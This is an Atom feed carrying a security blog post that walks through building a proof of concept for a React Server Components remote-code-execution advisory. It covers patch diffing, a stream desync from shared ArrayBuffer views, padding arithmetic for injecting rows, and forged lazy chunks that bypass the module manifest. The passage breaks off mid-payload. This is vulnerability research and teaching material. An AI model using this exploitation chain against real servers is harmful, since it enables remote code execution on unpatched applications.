<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://rudra0x01.xyz/feed.xml" rel="self" type="application/atom+xml" /><link href="https://rudra0x01.xyz/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-11-10T06:59:27+06:00</updated><id>https://rudra0x01.xyz/feed.xml</id><title type="html">Rudra0x01</title><subtitle>Security research notes by Rudra Sarkar — bug bounty write-ups, proof-of-concept builds for real advisories, TryHackMe and CTF walkthroughs, plus DevOps and cloud hardening guides.</subtitle><author><name>Rudra Sarkar</name></author><entry><title type="html">Building a PoC for GHSA-xqc2-xf4c-x3h3 - RCE in React Server Components</title><link href="https://rudra0x01.xyz/building-a-poc-for-react-rsc-rce-ghsa-xqc2-xf4c-x3h3/" rel="alternate" type="text/html" title="Building a PoC for GHSA-xqc2-xf4c-x3h3 - RCE in React Server Components" /><published>2026-11-10T06:00:00+06:00</published><updated>2026-11-10T06:00:00+06:00</updated><id>https://rudra0x01.xyz/building-a-poc-for-react-rsc-rce-ghsa-xqc2-xf4c-x3h3</id><content type="html" xml:base="https://rudra0x01.xyz/building-a-poc-for-react-rsc-rce-ghsa-xqc2-xf4c-x3h3/"><![CDATA[<p>This is the first post in a new section of the site. The idea is simple: instead of
only writing up <em>what</em> a bug is, I want to write up <strong>how the PoC got built</strong> —
the lab, the dead ends, the byte arithmetic, the part where you stare at a
hexdump for twenty minutes.</p>

<p>The subject is <code class="language-plaintext highlighter-rouge">GHSA-xqc2-xf4c-x3h3</code>, a critical advisory in React Server
Components — CVSS v4 <strong>9.5</strong>. Affects <code class="language-plaintext highlighter-rouge">react-server-dom-webpack</code>,
<code class="language-plaintext highlighter-rouge">react-server-dom-turbopack</code> and <code class="language-plaintext highlighter-rouge">react-server-dom-parcel</code> on 19.0.0–19.0.8,
19.1.0–19.1.9, 19.2.0–19.2.8 and 19.3.0. Fixed in 19.0.9, 19.1.10, 19.2.9 and
19.3.1.</p>

<p>And the entire technical description you get is the trigger condition: it needs a
response that transports <strong>multiple typed arrays</strong> plus an <strong>attacker-controlled
value</strong>. That is it. No bad line, no PoC, no CVE at the time I looked.</p>

<p>So everything below was derived from the 19.2.8 → 19.2.9 diff and then confirmed
by running it. The finished repo is two commands:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>npm run setup       <span class="c"># installs 19.2.8 and 19.2.9 into isolated node_modules</span>
npm run poc
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  react-server-dom-webpack 19.2.8   code executed: true
  react-server-dom-webpack 19.2.9   code executed: false

  PoC reproduced.
</code></pre></div></div>

<p>Here is how I got there.</p>

<h2 id="the-plan">The plan</h2>

<p>Before writing any code I wrote down the order of work, because PoC building
goes sideways fast if you start by guessing at exploits:</p>

<ol>
  <li>Get both versions installed side by side, isolated from each other.</li>
  <li>Diff the patch and read it until I can say the bug out loud in one sentence.</li>
  <li>Write a reader for whatever the protocol puts on the wire.</li>
  <li>Build a <strong>control</strong> — the benign case — and prove it is healthy.</li>
  <li>Break the control with one single change and compare the bytes.</li>
  <li>Turn the corruption into something an attacker controls.</li>
  <li>Turn attacker control into code execution.</li>
  <li>Prove the patched version stops it, and say what it does <em>not</em> stop.</li>
  <li>Prove it over the network, not just in one process.</li>
</ol>

<p>If you only take one thing from this post, take step 4. Every PoC I have ever
had bounced back was missing a control.</p>

<h2 id="step-1---two-reacts-in-one-folder">Step 1 - two Reacts in one folder</h2>

<p>RSC is two halves that must not meet. The renderer runs with Node’s
<code class="language-plaintext highlighter-rouge">react-server</code> export condition, the consumer must not have it. A real
deployment is arranged exactly that way, and if you collapse them into one
process you will spend an hour debugging React instead of the bug.</p>

<p>So the lab is two isolated dependency trees:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>env/vulnerable/     node_modules @ 19.2.8  + load-server.mjs / load-client.mjs
env/patched/        node_modules @ 19.2.9  + load-server.mjs / load-client.mjs
</code></pre></div></div>

<p>Each one is just a <code class="language-plaintext highlighter-rouge">package.json</code> with pinned versions:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ghsa-xqc2-env-vulnerable"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"private"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
  </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"module"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"dependencies"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"react"</span><span class="p">:</span><span class="w"> </span><span class="s2">"19.2.8"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"react-dom"</span><span class="p">:</span><span class="w"> </span><span class="s2">"19.2.8"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"react-server-dom-webpack"</span><span class="p">:</span><span class="w"> </span><span class="s2">"19.2.8"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>npm <span class="nt">--prefix</span> <span class="nb">env</span>/vulnerable <span class="nb">install</span> <span class="nt">--legacy-peer-deps</span> <span class="nt">--no-audit</span> <span class="nt">--no-fund</span>
npm <span class="nt">--prefix</span> <span class="nb">env</span>/patched    <span class="nb">install</span> <span class="nt">--legacy-peer-deps</span> <span class="nt">--no-audit</span> <span class="nt">--no-fund</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">--prefix</code> is the useful bit. No workspaces, no hoisting, no npm deciding that
two versions of React can share a tree. Two folders, two realities, and a loader
in each:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// env/vulnerable/load-server.mjs - loaded under `node --conditions=react-server`</span>
<span class="k">import</span> <span class="p">{</span><span class="nx">AsyncLocalStorage</span><span class="p">}</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">node:async_hooks</span><span class="dl">'</span><span class="p">;</span>
<span class="nx">globalThis</span><span class="p">.</span><span class="nx">AsyncLocalStorage</span> <span class="o">??=</span> <span class="nx">AsyncLocalStorage</span><span class="p">;</span>

<span class="k">import</span> <span class="o">*</span> <span class="k">as</span> <span class="nx">ReactServerDOMServer</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">react-server-dom-webpack/server.node</span><span class="dl">'</span><span class="p">;</span>
</code></pre></div></div>

<p>The consumer side needs two globals or it throws immediately:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// env/vulnerable/load-client.mjs - loaded under the DEFAULT conditions</span>
<span class="nx">globalThis</span><span class="p">.</span><span class="nx">__webpack_require__</span> <span class="o">??=</span> <span class="nx">id</span> <span class="o">=&gt;</span> <span class="nx">require</span><span class="p">(</span><span class="nx">id</span><span class="p">);</span>
<span class="nx">globalThis</span><span class="p">.</span><span class="nx">__webpack_chunk_load__</span> <span class="o">??=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="nb">Promise</span><span class="p">.</span><span class="nx">resolve</span><span class="p">();</span>

<span class="kd">const</span> <span class="nx">ReactServerDOMClient</span> <span class="o">=</span> <span class="k">await</span> <span class="k">import</span><span class="p">(</span><span class="dl">'</span><span class="s1">react-server-dom-webpack/client.edge</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>

<p>Worth being honest about this shim, because it is the thing a reviewer will
poke at: <code class="language-plaintext highlighter-rouge">react-server-dom-webpack/client</code> cannot run without
<code class="language-plaintext highlighter-rouge">__webpack_require__</code> and <code class="language-plaintext highlighter-rouge">__webpack_chunk_load__</code> — they are how it loads
client references, and it throws the moment one is missing. So <em>every</em> real
consumer has them. Mine models a webpack <strong>server</strong> bundle (Next.js’s <code class="language-plaintext highlighter-rouge">node</code>
target), where Node core modules are emitted as externals that delegate to
<code class="language-plaintext highlighter-rouge">require</code>. The exploit does not depend on that shape. It depends on a forged
chunk reaching <code class="language-plaintext highlighter-rouge">__webpack_require__</code> without the manifest being consulted,
which is a different claim entirely.</p>

<h2 id="step-2---diff-the-patch-properly">Step 2 - diff the patch, properly</h2>

<p>This is the part I want to spell out slowly, because “diff the patch” is advice
everyone repeats and almost nobody shows.</p>

<p>Do <strong>not</strong> start on GitHub. Start with the artefact that actually runs on
people’s machines — the npm tarball. <code class="language-plaintext highlighter-rouge">npm pack</code> downloads it without installing
anything and without running install scripts:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> <span class="nt">-p</span> /tmp/rsc-diff <span class="o">&amp;&amp;</span> <span class="nb">cd</span> /tmp/rsc-diff

npm pack react-server-dom-webpack@19.2.8 react-server-dom-webpack@19.2.9

<span class="nb">tar</span> <span class="nt">-xzf</span> react-server-dom-webpack-19.2.8.tgz <span class="o">&amp;&amp;</span> <span class="nb">mv </span>package v19.2.8
<span class="nb">tar</span> <span class="nt">-xzf</span> react-server-dom-webpack-19.2.9.tgz <span class="o">&amp;&amp;</span> <span class="nb">mv </span>package v19.2.9
</code></pre></div></div>

<p>Every npm tarball extracts to a directory literally called <code class="language-plaintext highlighter-rouge">package</code>, so extract
one, rename it, then extract the next. Getting that wrong and silently
overwriting is a rite of passage.</p>

<p>Now the first question is not “what changed” but “<strong>where</strong> did it change”:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>diff <span class="nt">-rq</span> v19.2.8 v19.2.9
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>differ: cjs/react-server-dom-webpack-client.browser.development.js
differ: cjs/react-server-dom-webpack-client.browser.production.js
differ: cjs/react-server-dom-webpack-client.edge.development.js
differ: cjs/react-server-dom-webpack-client.edge.production.js
differ: cjs/react-server-dom-webpack-client.node.development.js
differ: cjs/react-server-dom-webpack-client.node.production.js
differ: cjs/react-server-dom-webpack-server.browser.development.js
differ: cjs/react-server-dom-webpack-server.browser.production.js
differ: cjs/react-server-dom-webpack-server.edge.development.js
differ: cjs/react-server-dom-webpack-server.edge.production.js
differ: cjs/react-server-dom-webpack-server.node.development.js
differ: cjs/react-server-dom-webpack-server.node.production.js
differ: package.json
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">-r</code> is recursive, <code class="language-plaintext highlighter-rouge">-q</code> means “just tell me which files differ”. Twelve builds
and a version bump — which is 2 halves (server, client) × 3 environments
(browser, edge, node) × 2 builds (development, production). Same change, twelve
times. So there are really only <strong>two</strong> files to read, and you want the
<code class="language-plaintext highlighter-rouge">.development.js</code> ones, because the production builds are minified and will
waste your afternoon.</p>

<p>A detail that matters: both halves changed. Server <strong>and</strong> client. That already
tells you the fix is a root cause plus some defence in depth, which usually
means the chain crosses the wire.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>diff <span class="nt">-u</span> v19.2.8/cjs/react-server-dom-webpack-server.node.development.js <span class="se">\</span>
        v19.2.9/cjs/react-server-dom-webpack-server.node.development.js | less
</code></pre></div></div>

<p>368 changed lines in the server build, 121 in the client build. Most of it is
unrelated hardening shipped in the same release — which is normal, and is why
you read the diff instead of trusting a changelog. Two hunks are the advisory.</p>

<p><strong>Hunk one</strong>, in the function that writes a chunk to the destination (trimmed in
two places — the unchanged copy-into-the-staging-view branch, and the tail of
the second warning):</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">-      } else
-        0 !== chunk.byteLength &amp;&amp;
-          (2048 &lt; chunk.byteLength
-            ? ( ... writeToDestination(destination, chunk))
-            : ( ... copy into currentView ... ));
</span><span class="gi">+      } else if (0 === chunk.byteLength)
+        if (supportsArrayBufferDetached) {
+          if (chunk.buffer.detached)
+            throw Error(
+              "Cannot transport a detached buffer. This usually happens when trying to transport multiple buffer-spanning views on the same underyling buffer. Either reuse the exact same view by identity or copy the underlying buffer manually via `view.slice()`."
+            );
+        } else
+          didWarnAboutMissingArrayBufferDetached ||
+            (console.error(
+              "React encountered an empty buffer when writing in an environment that does not support ArrayBuffer.prototype.detached. This could be a security issue if the buffer was not actually empty. ..."
+            ),
</span></code></pre></div></div>

<p>Read that error message again. React’s own patch tells you the bug: <em>multiple
buffer-spanning views on the same underlying buffer</em>. Typo and all. That one
string collapsed the whole research problem into “make two views share an
ArrayBuffer and watch what happens.”</p>

<p>Free tip from this: <strong>always grep a patch for new error strings.</strong> Developers
explain the bug to their colleagues in the message they add to stop it.</p>

<p><strong>Hunk two</strong>, in <code class="language-plaintext highlighter-rouge">emitTypedArrayChunk</code>, which is the actual root cause:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">-      typedArray = new Uint8Array(
-        typedArray.buffer,
-        typedArray.byteOffset,
-        typedArray.byteLength
-      );
-      var binaryLength = typedArray.byteLength;
-      id = id.toString(16) + ":" + tag + binaryLength.toString(16) + ",";
</span><span class="gi">+      a: {
+        var view = new Uint8Array(
+          typedArray.buffer,
+          typedArray.byteOffset,
+          typedArray.byteLength
+        );
+        if (2048 &lt; typedArray.byteLength) {
+          if (
+            0 !== typedArray.byteOffset ||
+            typedArray.byteLength !== typedArray.buffer.byteLength ||
+            typedArray.buffer.resizable
+          ) {
+            typedArray = view.slice();
+            break a;
+          }
</span></code></pre></div></div>

<p>Before: hand React’s transport a bare <strong>view</strong> into whatever buffer the caller
owned. After: if the view does not span its whole buffer, <code class="language-plaintext highlighter-rouge">slice()</code> it — i.e.
copy it. The <code class="language-plaintext highlighter-rouge">2048</code> is React’s internal <code class="language-plaintext highlighter-rouge">VIEW_SIZE</code>; anything bigger is written
straight through instead of being copied into React’s own staging buffer.</p>

<p>So the sentence I could finally say out loud:</p>

<blockquote>
  <p>A typed array larger than 2048 bytes is handed to the byte stream as a view.
A byte stream <em>takes ownership</em> of the whole ArrayBuffer behind anything it is
given. If a second typed array in the same response is a view on that same
buffer, it is now zero bytes long — and its length header is already on the
wire.</p>
</blockquote>

<p>Then the client side, same technique, five one-line hunks:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     function createResolvedModelChunk(response, value) {
<span class="gd">-      return new ReactPromise("resolved_model", value, response);
</span><span class="gi">+      return new ReactPromise(
+        "resolved_model",
+        value,
+        _defineProperty({}, RESPONSE_SYMBOL, response)
+      );
</span>
       var resolvedModel = chunk.value,
<span class="gd">-        response = chunk.reason;
</span><span class="gi">+        response = chunk.reason[RESPONSE_SYMBOL];
</span>
-    function createModel(response, model) {
<span class="gd">-      return model;
</span><span class="gi">+    function createModel(response, model, parentObject, key) {
+      return "then" === key &amp;&amp; "function" === typeof model ? null : model;
</span>
     function loadServerReference(response, metaData, parentObject, key) {
<span class="gi">+      if ("then" === key) return null;
+      var id = metaData.id;
+      if ("string" !== typeof id) return null;
</span>
+      RESPONSE_SYMBOL = Symbol();
</code></pre></div></div>

<p>When a patch introduces a <strong>private <code class="language-plaintext highlighter-rouge">Symbol()</code></strong> to hold something that used to
be stored in a plain property, the question to ask is: <em>what was being confused
with what?</em> The answer here: a <code class="language-plaintext highlighter-rouge">resolved_model</code> chunk kept the whole <code class="language-plaintext highlighter-rouge">Response</code>
object in its <code class="language-plaintext highlighter-rouge">reason</code> field, and the initializer trusted it. Hide it behind a
module-private Symbol and an object that merely <em>looks</em> like a chunk can no
longer supply a fake <code class="language-plaintext highlighter-rouge">Response</code>.</p>

<p>I did not know yet how an attacker would get an object into that position. But
now I knew that if I ever could, it was game over — and I had a reason to go
hunting for exactly that.</p>

<h2 id="step-3---read-the-wire-before-you-touch-it">Step 3 - read the wire before you touch it</h2>

<p>RSC payloads are not JSON. The format (React calls it Flight) is a sequence of
rows, and there are two kinds:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;hex id&gt; ":" [tag] &lt;body&gt; "\n"              newline terminated
&lt;hex id&gt; ":" &lt;tag&gt; &lt;hex byteLength&gt; ","     length prefixed, then exactly that many raw bytes
</code></pre></div></div>

<p>Length-prefixed rows are the interesting ones: their body is <strong>raw, unescaped
bytes</strong>, and the <em>only</em> thing telling the client where the body ends is the
number the server declared in the header.</p>

<p>I wrote ~160 lines (<code class="language-plaintext highlighter-rouge">src/wire.mjs</code>) that walk a buffer exactly the way React’s
own row parser does and return one record per row it believes it saw. That file
turned out to be the single most valuable thing in the repo. Not the exploit —
the reader. Every later step is “render it, dump it, parse it, look”.</p>

<p>If you are building your first PoC against a binary-ish protocol, write the
parser first. You cannot debug bytes you cannot see.</p>

<h2 id="step-4---the-control-then-one-change">Step 4 - the control, then one change</h2>

<p>Now the “vulnerable application”. Important: nothing in it is adversarial. It is
a server component result holding two binary blobs and one string that came from
a user:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">export</span> <span class="kd">function</span> <span class="nx">buildModel</span><span class="p">({</span><span class="nx">first</span><span class="p">,</span> <span class="nx">second</span><span class="p">,</span> <span class="nx">note</span><span class="p">})</span> <span class="p">{</span>
  <span class="k">return</span> <span class="p">{</span>
    <span class="na">attachmentA</span><span class="p">:</span> <span class="nx">first</span><span class="p">,</span>
    <span class="na">attachmentB</span><span class="p">:</span> <span class="nx">second</span><span class="p">,</span>
    <span class="na">userNote</span><span class="p">:</span> <span class="nx">note</span><span class="p">,</span>   <span class="c1">// straight from the request, never interpreted</span>
  <span class="p">};</span>
<span class="p">}</span>
</code></pre></div></div>

<p>A gotcha that cost me time, and that matters if you are checking your own app
for exposure: <strong>a Node <code class="language-plaintext highlighter-rouge">Buffer</code> is not transported as binary at all.</strong>
<code class="language-plaintext highlighter-rouge">JSON.stringify</code> calls its <code class="language-plaintext highlighter-rouge">toJSON()</code> before React’s replacer ever sees it, so
it arrives as <code class="language-plaintext highlighter-rouge">{type:'Buffer',data:[...]}</code>. To get real binary transport an app
must hand React a plain <code class="language-plaintext highlighter-rouge">Uint8Array</code> <strong>view</strong>:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">export</span> <span class="kd">function</span> <span class="nx">toPlainView</span><span class="p">(</span><span class="nx">buf</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">return</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">buf</span><span class="p">.</span><span class="nx">buffer</span><span class="p">,</span> <span class="nx">buf</span><span class="p">.</span><span class="nx">byteOffset</span><span class="p">,</span> <span class="nx">buf</span><span class="p">.</span><span class="nx">byteLength</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>That conversion is a view, not a copy — so it inherits whatever ArrayBuffer the
Buffer was sitting in. The risky pattern writes itself.</p>

<p>I gave the app three sharing modes so the only difference between runs is one
flag:</p>

<table>
  <thead>
    <tr>
      <th>mode</th>
      <th>how the two views relate</th>
      <th>expected</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">separate</code></td>
      <td>two independently allocated <code class="language-plaintext highlighter-rouge">Uint8Array</code>s</td>
      <td><strong>control</strong>, healthy</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">subarray</code></td>
      <td>one 6000-byte ArrayBuffer split in two</td>
      <td>shared buffer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">pool</code></td>
      <td>two ordinary <code class="language-plaintext highlighter-rouge">Buffer.allocUnsafe()</code> out of Node’s pool slab</td>
      <td>shared buffer, realistic</td>
    </tr>
  </tbody>
</table>

<p>Run the control first:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Control: two typed arrays that each own their ArrayBuffer
  shared ArrayBuffer: false | wire: 11101 bytes | views after render: 0/0 bytes
  @    0 :N           newline          got=18     1794270063605.3938
  @   21 1:obb8,      declared=3000    got=3000   &lt;3000xA&gt;
  @ 3028 2:obb8,      declared=3000    got=3000   &lt;3000xB&gt;
  @ 6035 3:T1388,     declared=5000    got=5000   &lt;5000xx&gt;
  @11043 0:           newline          got=55     {"attachmentA":"$1","attachmentB":"$2","userNote":"$3"}
  =&gt; every length-prefixed row's body is present. row 1: uniform fill, row 2: uniform fill
</code></pre></div></div>

<p>Read it like this: row <code class="language-plaintext highlighter-rouge">1</code> declares <code class="language-plaintext highlighter-rouge">0xbb8</code> = 3000 bytes and delivers 3000 bytes
of <code class="language-plaintext highlighter-rouge">A</code>. Row <code class="language-plaintext highlighter-rouge">2</code> delivers 3000 bytes of <code class="language-plaintext highlighter-rouge">B</code>. Row <code class="language-plaintext highlighter-rouge">3</code> is the user’s note, outlined
into a <code class="language-plaintext highlighter-rouge">T</code> row, <code class="language-plaintext highlighter-rouge">0x1388</code> = 5000 bytes. Row <code class="language-plaintext highlighter-rouge">0</code> at the end is the actual model,
referencing the others by <code class="language-plaintext highlighter-rouge">$1</code>, <code class="language-plaintext highlighter-rouge">$2</code>, <code class="language-plaintext highlighter-rouge">$3</code>. Healthy.</p>

<p>Now change <strong>one</strong> thing — the two views share a buffer:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2. Probe: the same response, but the two views share one ArrayBuffer
  one 6000-byte ArrayBuffer split into two views
  shared ArrayBuffer: true | wire: 8101 bytes (3000 fewer than the control) | views after render: 0/0 bytes, backing detached: true
  @    0 :N           newline          got=18     1794270063689.0762
  @   21 1:obb8,      declared=3000    got=3000   &lt;3000xA&gt;
  @ 3028 2:obb8,      declared=3000    got=3000   3:T1388,&lt;2992xN&gt;
  @ 6035 -20:         newline          got=55     {"attachmentA":"$1","attachmentB":"$2","userNote":"$3"}
  =&gt; row 2 declares 3000 bytes but the server wrote none.
</code></pre></div></div>

<p>Three things in that output are the whole bug:</p>

<ul>
  <li><strong>3000 fewer bytes on the wire.</strong> Row 2’s body was never written.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">backing detached: true</code>.</strong> Writing view A transferred ownership of the
shared ArrayBuffer to the stream, so view B became zero-length — but its
header, declaring 3000 bytes, had already been queued.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">3:T1388,&lt;2992xN&gt;</code> as row 2’s body.</strong> The client has nothing but the
declared length to go by, so it reads 3000 bytes of whatever follows. What
follows is the <em>next row’s header</em> and the start of the user’s note.</li>
</ul>

<p>And look at that bogus row id, <code class="language-plaintext highlighter-rouge">-20</code>. That is not a real row. The parser
resynchronised in the middle of a value and read a chunk id out of someone’s
string. Once you see an impossible row id in an RSC payload, something upstream
has desynchronised the stream.</p>

<p>Here is the same moment in raw bytes, because it is more convincing than any
diagram:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ xxd -s 3008 -l 32 artifacts/02-probe.rsc
00000bc0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000bd0: 4141 4141 323a 6f62 6238 2c33 3a54 3133  AAAA2:obb8,3:T13
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">2:obb8,</code> immediately followed by <code class="language-plaintext highlighter-rouge">3:T1388,</code> — a length header with no body,
glued to the next header.</p>

<p>At this point I had a <strong>denial of service</strong> and nothing more. Worth stopping to
notice: that alone is a finding. Any route that produces such a response is
already broken for every visitor, with zero attacker input.</p>

<h2 id="step-5---from-corruption-to-attacker-controlled-rows">Step 5 - from corruption to attacker-controlled rows</h2>

<p>The jump from “the stream is corrupt” to “the attacker writes protocol rows” is
one observation: React outlines any string of <strong>1024 characters or more</strong> into
its own length-prefixed <code class="language-plaintext highlighter-rouge">T</code> row, where the bytes go out raw and unescaped —
quotes, newlines, everything.</p>

<p>Normally that is perfectly safe, because those bytes are only ever read as one
row’s body. The desync removes the containment. The client swallows
<code class="language-plaintext highlighter-rouge">declaredLength</code> bytes starting at row 2’s body, and if the attacker chooses the
length of their string, they choose <strong>where the parser wakes up</strong> — and it wakes
up inside their own bytes, which are then parsed as fresh rows.</p>

<p>So the padding is just arithmetic:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>padding = droppedRowLength - len("&lt;id&gt;:T&lt;hexlen&gt;,")
</code></pre></div></div>

<p>With one wrinkle that is easy to miss: the header length depends on the hex
width of the note’s byte length, which depends on the padding, which depends on
the header length. So it iterates to a fixed point (eight rounds, in practice
one or two).</p>

<p>Concretely, from the real run:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>3. Craft the user-supplied string
  note length     3827 bytes (&gt;= 1024, so React outlines it into a raw T row)
  padding         2993 bytes, so the client resyncs at note offset 2993
  injected rows   3 Flight rows, 834 bytes
</code></pre></div></div>

<p>Check the arithmetic by hand — this is the part worth doing once with a pen:</p>

<ul>
  <li>note id is <code class="language-plaintext highlighter-rouge">3</code>, note length is 3827 = <code class="language-plaintext highlighter-rouge">0xef3</code>, so the header <code class="language-plaintext highlighter-rouge">3:Tef3,</code> is 7 bytes.</li>
  <li><code class="language-plaintext highlighter-rouge">3000 - 7 = 2993</code> bytes of padding.</li>
  <li><code class="language-plaintext highlighter-rouge">2993 + 834 = 3827</code>, which is still three hex digits, so the fixed point holds.</li>
</ul>

<p>And on the wire the swallowed region ends exactly on the first injected row:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  @ 3028 2:obb8,      declared=3000    got=3000   3:Tef3,&lt;2993x.&gt;
  @ 6035 a:           newline          got=128    {"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_module","value...
  @ 6166 b:           newline          got=693    {"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_model","value"...
  @ 6862 3:           newline          got=4      "$b"
  @ 6869 0:           newline          got=55     {"attachmentA":"$1","attachmentB":"$2","userNote":"$3"}
</code></pre></div></div>

<p>Row 2’s body starts at 3035 and runs 3000 bytes, which lands on 6035 — and 6035
is where row <code class="language-plaintext highlighter-rouge">a</code> begins. The attacker’s padding is literally the gap, and rows
<code class="language-plaintext highlighter-rouge">a</code>, <code class="language-plaintext highlighter-rouge">b</code> and <code class="language-plaintext highlighter-rouge">3</code> are now <strong>top-level rows of the response</strong>.</p>

<p>One more detail, and it is the nastiest one. Because the genuine <code class="language-plaintext highlighter-rouge">T</code> header was
swallowed, chunk id <code class="language-plaintext highlighter-rouge">3</code> was never filled by the server. So the attacker refills
it themselves with <code class="language-plaintext highlighter-rouge">3:"$b"</code>. Initializing the real root row then reaches the
attacker’s rows on its own, which means <strong>the application never has to read,
render or await the user’s value.</strong> It is enough that it travelled in the
response.</p>

<h2 id="step-6---from-rows-to-code-execution">Step 6 - from rows to code execution</h2>

<p>Now back to that <code class="language-plaintext highlighter-rouge">RESPONSE_SYMBOL</code> hunk from step 2. The way in is
<code class="language-plaintext highlighter-rouge">getOutlinedModel</code>, which unwraps anything that looks like a React lazy node by
reading <code class="language-plaintext highlighter-rouge">_payload</code> and treating it as one of React’s own internal chunk records:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="p">(</span><span class="k">typeof</span> <span class="nx">value</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">object</span><span class="dl">'</span> <span class="o">&amp;&amp;</span> <span class="nx">value</span> <span class="o">!==</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span>
       <span class="nx">value</span><span class="p">.</span><span class="nx">$$typeof</span> <span class="o">===</span> <span class="nx">REACT_LAZY_TYPE</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">referencedChunk</span> <span class="o">=</span> <span class="nx">value</span><span class="p">.</span><span class="nx">_payload</span><span class="p">;</span>        <span class="c1">// a plain object from the payload</span>
  <span class="k">switch</span> <span class="p">(</span><span class="nx">referencedChunk</span><span class="p">.</span><span class="nx">status</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">case</span> <span class="nx">RESOLVED_MODEL</span><span class="p">:</span>  <span class="nx">initializeModelChunk</span><span class="p">(</span><span class="nx">referencedChunk</span><span class="p">);</span>  <span class="k">break</span><span class="p">;</span>
    <span class="k">case</span> <span class="nx">RESOLVED_MODULE</span><span class="p">:</span> <span class="nx">initializeModuleChunk</span><span class="p">(</span><span class="nx">referencedChunk</span><span class="p">);</span> <span class="k">break</span><span class="p">;</span>
  <span class="p">}</span>
</code></pre></div></div>

<p>Nothing checks that the object came from React. And <code class="language-plaintext highlighter-rouge">Symbol.for('react.lazy')</code>
is reachable straight from the payload, because the <code class="language-plaintext highlighter-rouge">$S</code> symbol encoding puts no
restriction on the name: <code class="language-plaintext highlighter-rouge">"$Sreact.lazy"</code>.</p>

<p>Two forged chunks are enough.</p>

<p><strong>Row <code class="language-plaintext highlighter-rouge">a</code> — a fake <code class="language-plaintext highlighter-rouge">resolved_module</code> chunk.</strong> <code class="language-plaintext highlighter-rouge">initializeModuleChunk</code> calls
<code class="language-plaintext highlighter-rouge">requireModule(chunk.value)</code> with whatever metadata it finds, so
<code class="language-plaintext highlighter-rouge">resolveClientReference</code> and the consumer manifest — the only thing that
normally decides which modules a payload may reach — are skipped entirely:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">a:</span><span class="p">{</span><span class="nl">"$$typeof"</span><span class="p">:</span><span class="s2">"$Sreact.lazy"</span><span class="p">,</span><span class="nl">"_payload"</span><span class="p">:{</span><span class="nl">"status"</span><span class="p">:</span><span class="s2">"resolved_module"</span><span class="p">,</span><span class="w">
